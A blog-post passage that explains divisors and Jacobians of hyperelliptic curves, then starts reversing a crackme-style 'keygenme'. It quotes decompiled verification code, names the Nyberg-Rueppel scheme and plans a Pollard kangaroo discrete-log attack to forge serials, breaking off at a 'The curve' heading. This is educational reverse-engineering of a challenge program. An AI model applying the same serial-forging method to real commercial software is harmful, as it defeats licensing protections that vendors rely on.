<p>Consider rational functions over <a href="http://en.wikipedia.org/wiki/Algebraically_closed_field">algebraically closed field</a>. Let <img src='https://s-ssl.wordpress.com/latex.php?latex=f%28x%29%3D%5Cfrac%7B%28x%2B1%29%5E3%7D%7B%28x-1%29%5E2%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f(x)=&#92;frac{(x+1)^3}{(x-1)^2}' title='f(x)=&#92;frac{(x+1)^3}{(x-1)^2}' class='latex' />. It&#8217;s easy to see, that <img src='https://s-ssl.wordpress.com/latex.php?latex=x%3D-1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x=-1' title='x=-1' class='latex' /> is a zero of <img src='https://s-ssl.wordpress.com/latex.php?latex=f&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f' title='f' class='latex' />. It&#8217;s also evident, that <img src='https://s-ssl.wordpress.com/latex.php?latex=f%281%29%3D%5Cinfty&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f(1)=&#92;infty' title='f(1)=&#92;infty' class='latex' />.</p>
<p>If for a given <img src='https://s-ssl.wordpress.com/latex.php?latex=a&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='a' title='a' class='latex' />, <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28a%29%3D%5Cpm%5Cinfty&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(a)=&#92;pm&#92;infty' title='r(a)=&#92;pm&#92;infty' class='latex' />, we will say that <img src='https://s-ssl.wordpress.com/latex.php?latex=r&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r' title='r' class='latex' /> has a <strong>pole</strong> at <img src='https://s-ssl.wordpress.com/latex.php?latex=a&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='a' title='a' class='latex' />. When <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Clim_%7Bx%5Cto%5Cinfty%7Dr%28x%29+%3D+%5Cinfty&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;lim_{x&#92;to&#92;infty}r(x) = &#92;infty' title='&#92;lim_{x&#92;to&#92;infty}r(x) = &#92;infty' class='latex' />, we will say that <img src='https://s-ssl.wordpress.com/latex.php?latex=r&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r' title='r' class='latex' /> has a pole at infinity. This is to provide intuition, just remember that pole at infinity == function is not bound at infinity. To be able to compute order of such pole, compute order of pole <img src='https://s-ssl.wordpress.com/latex.php?latex=x%3D0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x=0' title='x=0' class='latex' /> of <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28%5Cfrac%7B1%7D%7Bx%7D%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(&#92;frac{1}{x})' title='r(&#92;frac{1}{x})' class='latex' />.</p>
<p><img src='https://s-ssl.wordpress.com/latex.php?latex=a&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='a' title='a' class='latex' /> is a zero of order <img src='https://s-ssl.wordpress.com/latex.php?latex=n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='n' title='n' class='latex' /> for <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(x)' title='r(x)' class='latex' />, if <img src='https://s-ssl.wordpress.com/latex.php?latex=n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='n' title='n' class='latex' /> is the largest integer, such that <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28x%29%3D%28x-a%29%5E%7Bn%7Ds%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(x)=(x-a)^{n}s(x)' title='r(x)=(x-a)^{n}s(x)' class='latex' />, where <img src='https://s-ssl.wordpress.com/latex.php?latex=s%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='s(x)' title='s(x)' class='latex' /> is a rational function. Order of a pole is similar: <img src='https://s-ssl.wordpress.com/latex.php?latex=b&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='b' title='b' class='latex' /> is a pole of order <img src='https://s-ssl.wordpress.com/latex.php?latex=n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='n' title='n' class='latex' /> if <img src='https://s-ssl.wordpress.com/latex.php?latex=n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='n' title='n' class='latex' /> is the largest integer, such that <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28x%29%3D%5Cfrac%7Bs%28x%29%7D%7B%28x-b%29%5E%7Bn%7D%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(x)=&#92;frac{s(x)}{(x-b)^{n}}' title='r(x)=&#92;frac{s(x)}{(x-b)^{n}}' class='latex' />. Notice we are allowed to factor <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(x)' title='r(x)' class='latex' /> this way, because we are working over an algebraically closed field, and because of <a href="http://en.wikipedia.org/wiki/Fundamental_theorem_of_algebra">fundamental theorem of algebra</a>.</p>
<p>In our example, <img src='https://s-ssl.wordpress.com/latex.php?latex=f%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f(x)' title='f(x)' class='latex' /> has a zero of order 3 at <img src='https://s-ssl.wordpress.com/latex.php?latex=x%3D-1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x=-1' title='x=-1' class='latex' />, a pole of order 2 at <img src='https://s-ssl.wordpress.com/latex.php?latex=x%3D1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x=1' title='x=1' class='latex' /> and a pole of order 1 at infinity.</p>
<p>Another example. Let <img src='https://s-ssl.wordpress.com/latex.php?latex=f%28x%29%3D%28x-1%29%5E5&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f(x)=(x-1)^5' title='f(x)=(x-1)^5' class='latex' />. <img src='https://s-ssl.wordpress.com/latex.php?latex=x%3D1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x=1' title='x=1' class='latex' /> is a zero of order 5. We also have a pole at infinity. To compute its order, we need to know the order of <img src='https://s-ssl.wordpress.com/latex.php?latex=x%3D0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x=0' title='x=0' class='latex' /> of <img src='https://s-ssl.wordpress.com/latex.php?latex=f%28%5Cfrac%7B1%7D%7Bx%7D%29%3D%28%5Cfrac%7B1-x%7D%7Bx%7D%29%5E5&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f(&#92;frac{1}{x})=(&#92;frac{1-x}{x})^5' title='f(&#92;frac{1}{x})=(&#92;frac{1-x}{x})^5' class='latex' />, so order = 5.</p>
<h3 style="text-align:center;"></h3>
<h3 style="text-align:center;">Divisors</h3>
<p>&nbsp;</p>
<p>Consider set of rational functions over <img src='https://s-ssl.wordpress.com/latex.php?latex=K%5Bx%2Cy%5D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='K[x,y]' title='K[x,y]' class='latex' />, where HE curve <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' /> is defined over <img src='https://s-ssl.wordpress.com/latex.php?latex=K&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='K' title='K' class='latex' />. &#8220;Over&#8221; means our function acts on points of <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' />, so for <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28x%2Cy%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(x,y)' title='r(x,y)' class='latex' />, arguments <img src='https://s-ssl.wordpress.com/latex.php?latex=x&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x' title='x' class='latex' /> and <img src='https://s-ssl.wordpress.com/latex.php?latex=y&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='y' title='y' class='latex' /> satisfy <img src='https://s-ssl.wordpress.com/latex.php?latex=y%5E2%2Bh%28x%29-f%28x%29%3D0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='y^2+h(x)-f(x)=0' title='y^2+h(x)-f(x)=0' class='latex' /> &#8220;for free&#8221;.</p>
<p>To keep track of zeros and poles of a function, we can use a <strong>divisor</strong>. You can think about them as multisets allowing negative number of elements. For example, let <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28x%2Cy%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(x,y)' title='r(x,y)' class='latex' /> have a zero of order 2 at <img src='https://s-ssl.wordpress.com/latex.php?latex=P_0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P_0' title='P_0' class='latex' />, zero of order 1 at <img src='https://s-ssl.wordpress.com/latex.php?latex=P_1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P_1' title='P_1' class='latex' />, pole of order 2 at <img src='https://s-ssl.wordpress.com/latex.php?latex=P_3&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P_3' title='P_3' class='latex' /> and pole of order 1 at infinity. Divisor of <img src='https://s-ssl.wordpress.com/latex.php?latex=r&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r' title='r' class='latex' /> is <img src='https://s-ssl.wordpress.com/latex.php?latex=div%28r%29%3D2P_0%2B1P_1-2P_3-1O&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(r)=2P_0+1P_1-2P_3-1O' title='div(r)=2P_0+1P_1-2P_3-1O' class='latex' />. Note that divisors aren&#8217;t supposed to be evaluated (plus and minus signs are not for point addition/subtraction), they are just &#8220;lists&#8221;, or &#8220;multisets&#8221; of zeros/poles. You can look at <img src='https://s-ssl.wordpress.com/latex.php?latex=div%28r%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(r)' title='div(r)' class='latex' /> like it&#8217;s a list: <img src='https://s-ssl.wordpress.com/latex.php?latex=%5B2P_0%2C+P_1%2C+-2P_3%2C+-1O%5D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='[2P_0, P_1, -2P_3, -1O]' title='[2P_0, P_1, -2P_3, -1O]' class='latex' />.</p>
<p>More formally, for a nonzero rational function <img src='https://s-ssl.wordpress.com/latex.php?latex=r&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r' title='r' class='latex' /> on <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' />, its divisor is given by</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=div%28r%29+%3D+%5Csum_%7BP%5Cin+H%7D%7B%7Dord_P%28r%29P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(r) = &#92;sum_{P&#92;in H}{}ord_P(r)P' title='div(r) = &#92;sum_{P&#92;in H}{}ord_P(r)P' class='latex' /></p>
<p style="text-align:left;">where almost all of <img src='https://s-ssl.wordpress.com/latex.php?latex=ord_P%28r%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='ord_P(r)' title='ord_P(r)' class='latex' /> coefficients are zero (there are finitely many nonzero). <img src='https://s-ssl.wordpress.com/latex.php?latex=ord_P%28r%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='ord_P(r)' title='ord_P(r)' class='latex' /> is defined as:</p>
<ul>
<li> <img src='https://s-ssl.wordpress.com/latex.php?latex=n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='n' title='n' class='latex' />,  if <img src='https://s-ssl.wordpress.com/latex.php?latex=P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P' title='P' class='latex' /> is a zero of order <img src='https://s-ssl.wordpress.com/latex.php?latex=n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='n' title='n' class='latex' />,</li>
<li> <img src='https://s-ssl.wordpress.com/latex.php?latex=-n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='-n' title='-n' class='latex' />, if <img src='https://s-ssl.wordpress.com/latex.php?latex=P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P' title='P' class='latex' /> is a pole of order <img src='https://s-ssl.wordpress.com/latex.php?latex=n&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='n' title='n' class='latex' />,</li>
<li> 0, if <img src='https://s-ssl.wordpress.com/latex.php?latex=P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P' title='P' class='latex' /> is neither a zero, nor a pole.</li>
</ul>
<p><img src='https://s-ssl.wordpress.com/latex.php?latex=ord_P%28r%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='ord_P(r)' title='ord_P(r)' class='latex' /> is &#8220;order of vanishing of function <img src='https://s-ssl.wordpress.com/latex.php?latex=r&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r' title='r' class='latex' /> at point <img src='https://s-ssl.wordpress.com/latex.php?latex=P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P' title='P' class='latex' />&#8220;. For details see [1] (page 8). You can assume that computing orders works like for ordinary rational functions, so it&#8217;s ok to factor nominator / denominator, etc (this isn&#8217;t 100% true, but that&#8217;s not imporant).</p>
<p>To continue, we need</p>
<p><em><strong>Theorem 1</strong></em></p>
<p><em>Let <img src='https://s-ssl.wordpress.com/latex.php?latex=r&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r' title='r' class='latex' /> be a rational function on <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' />, then <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Csum_%7BP%5Cin+H%7D%7B%7Dord_P%28r%29P+%3D+0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;sum_{P&#92;in H}{}ord_P(r)P = 0' title='&#92;sum_{P&#92;in H}{}ord_P(r)P = 0' class='latex' />.</em></p>
<p>For proof, see theorem 4.6, page 9 in [1]. This theorem is useful for computing divisors. For <img src='https://s-ssl.wordpress.com/latex.php?latex=r%28x%2Cy%29%3Df%2Fg&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r(x,y)=f/g' title='r(x,y)=f/g' class='latex' />, compute zeros of <img src='https://s-ssl.wordpress.com/latex.php?latex=f&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f' title='f' class='latex' /> and <img src='https://s-ssl.wordpress.com/latex.php?latex=g&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='g' title='g' class='latex' /> (poles of <img src='https://s-ssl.wordpress.com/latex.php?latex=r&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='r' title='r' class='latex' />) and check if their orders (using definition of <img src='https://s-ssl.wordpress.com/latex.php?latex=ord&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='ord' title='ord' class='latex' /> above) sum to 0. If not, add / subtract point at infinity.</p>
<p>We can add / subtract divisors, by adding / subtracting like terms. For example, let <img src='https://s-ssl.wordpress.com/latex.php?latex=H%3A+y%5E2+%3D+f%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H: y^2 = f(x)' title='H: y^2 = f(x)' class='latex' /> (over complex numbers), where <img src='https://s-ssl.wordpress.com/latex.php?latex=deg%28f%29%3D3&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='deg(f)=3' title='deg(f)=3' class='latex' /> (genus 1 curve), <img src='https://s-ssl.wordpress.com/latex.php?latex=f%28x%2Cy%29%3D%5Cfrac%7By%7D%7Bx%2B1%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f(x,y)=&#92;frac{y}{x+1}' title='f(x,y)=&#92;frac{y}{x+1}' class='latex' />, <img src='https://s-ssl.wordpress.com/latex.php?latex=g%28x%2Cy%29%3D%5Cfrac%7Bx%2B1%7D%7Bx%2B2%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='g(x,y)=&#92;frac{x+1}{x+2}' title='g(x,y)=&#92;frac{x+1}{x+2}' class='latex' />.</p>
<p>To find <img src='https://s-ssl.wordpress.com/latex.php?latex=div%28f%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(f)' title='div(f)' class='latex' /> we need to know zeros and poles of <img src='https://s-ssl.wordpress.com/latex.php?latex=f&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f' title='f' class='latex' />. Since <img src='https://s-ssl.wordpress.com/latex.php?latex=deg%28f%29%3D3&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='deg(f)=3' title='deg(f)=3' class='latex' />, there are 3 points on <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' /> with <img src='https://s-ssl.wordpress.com/latex.php?latex=y%3D0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='y=0' title='y=0' class='latex' />: <img src='https://s-ssl.wordpress.com/latex.php?latex=P_1%2CP_2%2CP_3&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P_1,P_2,P_3' title='P_1,P_2,P_3' class='latex' />. There are two points with <img src='https://s-ssl.wordpress.com/latex.php?latex=x%3D-1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x=-1' title='x=-1' class='latex' />: <img src='https://s-ssl.wordpress.com/latex.php?latex=Q_1%2CQ_2&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Q_1,Q_2' title='Q_1,Q_2' class='latex' />. Points <img src='https://s-ssl.wordpress.com/latex.php?latex=P_i&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P_i' title='P_i' class='latex' /> are zeros and <img src='https://s-ssl.wordpress.com/latex.php?latex=Q_i&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Q_i' title='Q_i' class='latex' /> are poles, so <img src='https://s-ssl.wordpress.com/latex.php?latex=div%28f%29%3DP_1%2BP_2%2BP_3-Q_1-Q_2-O&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(f)=P_1+P_2+P_3-Q_1-Q_2-O' title='div(f)=P_1+P_2+P_3-Q_1-Q_2-O' class='latex' /> (<img src='https://s-ssl.wordpress.com/latex.php?latex=-O&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='-O' title='-O' class='latex' /> was added to satisfy theorem 1). Similary <img src='https://s-ssl.wordpress.com/latex.php?latex=div%28g%29%3DQ_1%2BQ_2-R_1-R_2&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(g)=Q_1+Q_2-R_1-R_2' title='div(g)=Q_1+Q_2-R_1-R_2' class='latex' /> (<img src='https://s-ssl.wordpress.com/latex.php?latex=x%28R_1%29%3Dx%28R_2%29%3D-2&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x(R_1)=x(R_2)=-2' title='x(R_1)=x(R_2)=-2' class='latex' />).</p>
<p>Now, <img src='https://s-ssl.wordpress.com/latex.php?latex=div%28f%29%2Bdiv%28g%29%3DP_1%2BP_2%2BP_3-R_1-R_2-O%3Ddiv%28h%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(f)+div(g)=P_1+P_2+P_3-R_1-R_2-O=div(h)' title='div(f)+div(g)=P_1+P_2+P_3-R_1-R_2-O=div(h)' class='latex' />, where <img src='https://s-ssl.wordpress.com/latex.php?latex=h%28x%2Cy%29%3D%5Cfrac%7By%7D%7Bx%2B2%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='h(x,y)=&#92;frac{y}{x+2}' title='h(x,y)=&#92;frac{y}{x+2}' class='latex' />. You might notice, that <img src='https://s-ssl.wordpress.com/latex.php?latex=h%3Dfg&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='h=fg' title='h=fg' class='latex' />. Indeed, it&#8217;s true that:</p>
<ul>
<li><img src='https://s-ssl.wordpress.com/latex.php?latex=div%28fg%29%3Ddiv%28f%29%2Bdiv%28g%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(fg)=div(f)+div(g)' title='div(fg)=div(f)+div(g)' class='latex' /></li>
<li><img src='https://s-ssl.wordpress.com/latex.php?latex=div%28f%2Fg%29%3Ddiv%28f%29-div%28g%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='div(f/g)=div(f)-div(g)' title='div(f/g)=div(f)-div(g)' class='latex' /></li>
</ul>
<p>From the above properties, it follows that set of divisors of rational functions (we will call them principal divisors) <img src='https://s-ssl.wordpress.com/latex.php?latex=Prin%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Prin(H)' title='Prin(H)' class='latex' /> form a subgroup of all divisors <img src='https://s-ssl.wordpress.com/latex.php?latex=Div%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Div(H)' title='Div(H)' class='latex' />. We will denote subgroup of divisors of degree 0 (with sum of coefficients equal to zero) as <img src='https://s-ssl.wordpress.com/latex.php?latex=Div_0%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Div_0(H)' title='Div_0(H)' class='latex' />. Theorem 1 implies that <img src='https://s-ssl.wordpress.com/latex.php?latex=Prin+%5Csubseteq+Div_0&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Prin &#92;subseteq Div_0' title='Prin &#92;subseteq Div_0' class='latex' />.</p>
<p>Here comes the magic part.</p>
<p>We define <a href="http://en.wikipedia.org/wiki/Quotient_group">quotient group</a> <img src='https://s-ssl.wordpress.com/latex.php?latex=Pic%5E0%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Pic^0(H)' title='Pic^0(H)' class='latex' /> as:</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=Pic%5E0%28H%29+%3D+Div_0%28H%29+%2F+Prin%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Pic^0(H) = Div_0(H) / Prin(H)' title='Pic^0(H) = Div_0(H) / Prin(H)' class='latex' /></p>
<p style="text-align:left;"><img src='https://s-ssl.wordpress.com/latex.php?latex=Pic%5E0%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Pic^0(H)' title='Pic^0(H)' class='latex' /> is called the degree zero part of the Picard (or divisor class) group of <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' />.</p>
<p style="text-align:left;">For a hyperelliptic curve <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' /> of genus <img src='https://s-ssl.wordpress.com/latex.php?latex=g&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='g' title='g' class='latex' />, there exists an <a href="http://en.wikipedia.org/wiki/Abelian_variety">abelian variety</a> <img src='https://s-ssl.wordpress.com/latex.php?latex=J%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='J(H)' title='J(H)' class='latex' /> of dimension <img src='https://s-ssl.wordpress.com/latex.php?latex=g&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='g' title='g' class='latex' /> which is isomorphic to <img src='https://s-ssl.wordpress.com/latex.php?latex=Pic_0%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Pic_0(H)' title='Pic_0(H)' class='latex' />. <img src='https://s-ssl.wordpress.com/latex.php?latex=J%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='J(H)' title='J(H)' class='latex' /> is called the Jacobian of <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' />.</p>
<p style="text-align:left;">You can safely disregard the magic part above. The important thing to know is that with HE curves, we perform operations on its Jacobian. <img src='https://s-ssl.wordpress.com/latex.php?latex=J%28H%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='J(H)' title='J(H)' class='latex' /> has its own <a href="http://en.wikipedia.org/wiki/Imaginary_hyperelliptic_curve#Cantor.27s_algorithm">group law</a>, that uses <a href="http://en.wikipedia.org/wiki/Imaginary_hyperelliptic_curve#Reduced_divisors_and_their_Mumford_representation">reduced divisors in their Mumford representation</a>.</p>
<p style="text-align:left;">If you want to just implement HE crypto, you can treat Cantor&#8217;s algorithm and Mumford representation as blackboxes given by mathematicians, but I think it&#8217;s useful to know how divisors work and what Mumford polynomials represent.</p>
<p style="text-align:left;">It&#8217;s time to analyze our target and show some examples.</p>
<p style="text-align:left;">
<h3 style="text-align:center;">Keygenme</h3>
<p>&nbsp;</p>
<p style="text-align:left;">Dcoder implemented polynomial operations on his own, so we are forced to identify them by hand, by looking at the disassembly. This part is easy, so I&#8217;ll skip it <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p style="text-align:left;">What&#8217;s not easy is identifying the protection scheme, without knowing how HE crypto works. There are many clues that the keygenme implements elliptic curve crypto. For example, here&#8217;s a top level view of a part of the verification procedure:</p>
<pre>    decode_serial(&amp;part4, &amp;part3, &amp;part2, &amp;part1);
    serial_part12 = __PAIR__(part2 &lt;&lt; 32 &gt;&gt; 32, part1);
    v20 = part3;
    f1(&amp;k1_Px, &amp;k1_Py, &amp;f, &amp;h, &amp;Px, &amp;Py, part3 + (part4 &lt;&lt; 32));
    f1(&amp;k2_Qx, &amp;k2_Qy, &amp;f, &amp;h, &amp;Qx, &amp;Qy, serial_part12);
    f2(&amp;k1_Px, &amp;k1_Py, &amp;f, &amp;h, &amp;k1_Px, &amp;k1_Py, &amp;k2_Qx, &amp;k2_Qy);</pre>
<p>Looking inside f1, we see:</p>
<pre>  do
  {
    f2(&amp;a3a, &amp;v13, f, h, &amp;a3a, &amp;v13, &amp;a3a, &amp;v13);
    if ( k &amp; (1i64 &lt;&lt; v7) )
      f2(&amp;a3a, &amp;v13, f, h, &amp;a3a, &amp;v13, in_x, in_y);
    --v7;
  }
  while ( v7 &gt;= 0 );</pre>
<p>This looks like <a href="http://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication#Double-and-add">double and add</a> algorithm for elliptic curves, so our hypothesis is that f1 is point multiplication and f2 point addition. We can verify this by feeding values to these functions and checking their output. For example, computing P+P and 2*P should produce the same result. Quick check shows that&#8217;s indeed the case.</p>
<p>With high level functions identified, it&#8217;s easy to see that we are dealing with <a href="http://gdtr.wordpress.com/2011/07/10/dongles-and-nyberg-rueppel-signature-scheme/">Nyber-Rueppel signature scheme</a>. In order to emit correct signatures, we need to solve an instance of discrete logarithm problem.</p>
<p>Even without knowing that we are dealing with HE curves, we can just rip the code for point addition and use it as a blackbox in <a href="http://en.wikipedia.org/wiki/Pollard's_kangaroo_algorithm">Pollard&#8217;s kangaroo</a> (lambda) algorithm. Kangaroo attack works in all groups and uses only addition and multiplication in that group. Running time is <img src='https://s-ssl.wordpress.com/latex.php?latex=O%28%5Csqrt%7Bb-a%7D%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='O(&#92;sqrt{b-a})' title='O(&#92;sqrt{b-a})' class='latex' />, where <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Ba%2Cb%5D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='[a,b]' title='[a,b]' class='latex' /> is the interval containing the discrete log.. Notice that we can&#8217;t use <a href="http://en.wikipedia.org/wiki/Pollard's_rho_algorithm">Pollard&#8217;s rho</a> (which is faster by a constant), because rho requires group&#8217;s order as a parameter and we have no means to compute it without knowing what group we are dealing with.</p>
<p>Even with Pollard&#8217;s kangaroo, we still need to know how large the order is. If it&#8217;s too big, then perhaps we need to be smarter about finding this DLOG. We can obtain a rough estime, by observing what kind of points we are getting out of point addition/multiplication procedures.</p>
<p>Quick inspection in debugger shows, that coordinate <img src='https://s-ssl.wordpress.com/latex.php?latex=x&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x' title='x' class='latex' /> is always a monic polynomial of degree at most 4, and <img src='https://s-ssl.wordpress.com/latex.php?latex=y&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='y' title='y' class='latex' /> a polynomial of degree at most 3. Since we are working with polynomials over <img src='https://s-ssl.wordpress.com/latex.php?latex=F_p&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='F_p' title='F_p' class='latex' /> with <img src='https://s-ssl.wordpress.com/latex.php?latex=p%3D8191%3D2%5E%7B13%7D-1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='p=8191=2^{13}-1' title='p=8191=2^{13}-1' class='latex' />, there can be at most <img src='https://s-ssl.wordpress.com/latex.php?latex=2%5E%7B13%2A4%7D%2A2%3D2%5E%7B53%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='2^{13*4}*2=2^{53}' title='2^{13*4}*2=2^{53}' class='latex' /> (we expect our curve to be symmetric, thus the additional 2 factor) such points in our mysterious group <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . It&#8217;s a lot, but remember that kangaroo attack has a running time of <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Csqrt%7Bb-a%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;sqrt{b-a}' title='&#92;sqrt{b-a}' class='latex' />, so in our case <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Csqrt%7B2%5E%7B53%7D%7D%3D2%5E%7B26.5%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;sqrt{2^{53}}=2^{26.5}' title='&#92;sqrt{2^{53}}=2^{26.5}' class='latex' /> which is low enough for kangaroo to be practical.</p>
<p>&nbsp;</p>
<h3 style="text-align:center;">The curve</h3>
<p>&nbsp;</p>
